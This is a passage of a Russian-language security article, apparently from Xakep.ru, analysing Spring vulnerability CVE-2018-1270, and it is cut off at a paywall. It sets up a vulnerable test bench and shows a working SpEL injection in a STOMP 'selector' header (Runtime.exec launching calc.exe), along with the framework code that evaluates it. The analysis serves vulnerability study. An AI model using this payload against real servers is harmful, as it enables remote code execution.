Содержание статьи
Spring — это популярнейший фреймворк для разработки на Java, на нем базируются сотни решений в самых разных областях. Тут и всевозможные веб-сайты, и энтерпрайз-сервисы, и много другого. Трудно найти серьезное приложение на Java, которое бы не использовало Spring. Недавно в нем были найдены две критические уязвимости, которые приводят к удаленному исполнению кода. Давай посмотрим, как они работают.
Первая уязвимость (CVE-2018-1270) касается модуля для работы с веб-сокетами, вторая (CVE-2018-1260) — модуля авторизации по протоколу OAuth2. Но прежде чем разбирать их, подготовим стенд для тестирования.
Стенд
Снова мои любимые стенды для Java, да еще и с модулями фреймворка, о чем еще можно мечтать? 🙂
В работе нам понадобятся:
- любая операционка;
- Docker;
- Java 8;
- Maven или другая Ant-подобная тулза для билда;
- в идеале какая-нибудь IDE, но и обычный текстовый редактор сойдет.
Как ты уже понял, для каждой уязвимости нужно будет скачивать, компилировать и запускать приложения, написанные на Java. Компиляция и запуск в общем случае будут сводиться к паре команд.
$ mvn package
$ java -jar target\package.jar
Если воспользуешься IDE, то процесс будет более наглядным. Я для своей работы возьму IntelliJ IDEA. Все остальные манипуляции рассмотрим по ходу разбора уязвимостей. Погнали!
RCE в модуле spring-messaging (CVE-2018-1270)
Первый баг в списке — это удаленное выполнение команд в модуле spring-messaging, который входит в стандартную поставку Spring Framework. Уязвимость, найденная 5 апреля, получила идентификатор CVE-2018-1270 и имеет статус критической. Она затрагивает все версии фреймворка из веток 4 и 5, вплоть до актуальных 4.3.14 и 5.0.4. Проблема заключается в некорректной логике обработки STOMP-сообщений (Simple/Streaming Text Oriented Message Protocol) и легко эксплуатируется удаленно.
STOMP — это специально спроектированный протокол обмена сообщениями. Он прост и основан на фреймах, подобно HTTP. Фрейм состоит из команды, необязательных заголовков и необязательного тела. Благодаря своей простоте STOMP может быть реализован поверх большого количества других протоколов, таких как RabbitMQ, ActiveMQ и других. Также можно успешно организовать работу поверх WebSockets. Именно этот способ нам интересен в рамках уязвимости, так как проблема находится в модуле spring-messaging, в реализации протокола STOMP.
Для тестирования уязвимости нам потребуется скачать примеры использования STOMP из репозитория https://github.com/spring-guides/gs-messaging-stomp-websocket. Подойдет любой коммит до 5 апреля.
$ git clone https://github.com/spring-guides/gs-messaging-stomp-websocket
$ cd gs-messaging-stomp-websocket
$ git checkout 6958af0b02bf05282673826b73cd7a85e84c12d3
Теперь заглянем в папку, где хранится фронтенд. Нас интересует файл app.js
, а в нем — функция, которая отвечает за подключение клиента к серверу. Для этих целей здесь используется библиотека SockJS.
/gs-messaging-stomp-websocket/complete/src/main/resources/static/app.js
15: function connect() {
16: var socket = new SockJS('/gs-guide-websocket');
17: stompClient = Stomp.over(socket);
18: stompClient.connect({}, function (frame) {
19: setConnected(true);
20: console.log('Connected: ' + frame);
21: stompClient.subscribe('/topic/greetings', function (greeting) {
22: showGreeting(JSON.parse(greeting.body).content);
23: });
24: });
25: }
Нам нужно добавить переменную с пейлоадом, которая будет отправляться в качестве заголовка selector
при создании подключения. Для облегчения эксплуатации можно сделать это до компиляции.
15: function connect() {
16: var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};
17: var socket = new SockJS('/gs-guide-websocket');
18: stompClient = Stomp.over(socket);
19: stompClient.connect({}, function (frame) {
20: setConnected(true);
21: console.log('Connected: ' + frame);
22: stompClient.subscribe('/topic/greetings', function (greeting) {
23: showGreeting(JSON.parse(greeting.body).content);
24: }, header);
25: });
26: }
После этого можно откомпилировать и запустить приложение.
$ cd complete
$ mvn package
$ java -jar target/gs-messaging-stomp-websocket-0.1.0.jar
Согласно спецификации протокола STOMP переданные в хидере selector
данные будут использоваться для фильтрации информации о подписках.
В файле DefaultSubscriptionRegistry.java
имеется функция, которая отрабатывает при создании нового подключения, где генерируется новая подписка на события для этого клиента.
/org/springframework/messaging/simp/broker/DefaultSubscriptionRegistry.java
139: @Override
140: protected void addSubscriptionInternal(
141: String sessionId, String subsId, String destination, Message<?> message) {
142:
143: Expression expression = null;
144: MessageHeaders headers = message.getHeaders();
145: String selector = SimpMessageHeaderAccessor.getFirstNativeHeader(getSelectorHeaderName(), headers);
...
160: this.subscriptionRegistry.addSubscription(sessionId, subsId, destination, expression);
161: this.destinationCache.updateAfterNewSubscription(destination, sessionId, subsId);
А если встречается хидер selector
, то его содержимое интерпретируется как выражение на языке SpEL (Spring Expression Language). За его обработку отвечает функция doParseExpression
класса SpelExpression
.
/org/springframework/expression/spel/standard/InternalSpelExpressionParser.java
121: @Override
122: protected SpelExpression doParseExpression(String expressionString, @Nullable ParserContext context)
123: throws ParseException {
124:
125: try {
126: this.expressionString = expressionString;
127: Tokenizer tokenizer = new Tokenizer(expressionString);
128: this.tokenStream = tokenizer.process();
129: this.tokenStreamLength = this.tokenStream.size();
130: this.tokenStreamPointer = 0;
131: this.constructedNodes.clear();
132: SpelNodeImpl ast = eatExpression();
133: Assert.state(ast != null, "No node");
Здесь есть возможность вызова конструктора java.lang.Class
при помощи модификатора T
.
Это значит, что мы довольно просто можем создать экземпляр объекта java.lang.Runtime
и выполнить произвольную команду при помощи метода exec
.
Теперь, после того как селектор привязан к сообщениям, на которые подписан пользователь, можно продолжать общение с сервером, чтобы начать получать эти самые сообщения. Для этого в примере предусмотрен стандартный Hello, %username%
.
Когда гость отправит имя с помощью соответствующей формы, сервер должен его поприветствовать. То есть он должен выслать ответ всем пользователям, которые подписаны на это событие. Этим занимается функция sendMessageToSubscribers
, в которой выполняется метод findSubscriptions
. Он находит всех адресатов, которые были подписаны на сообщения этого типа.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»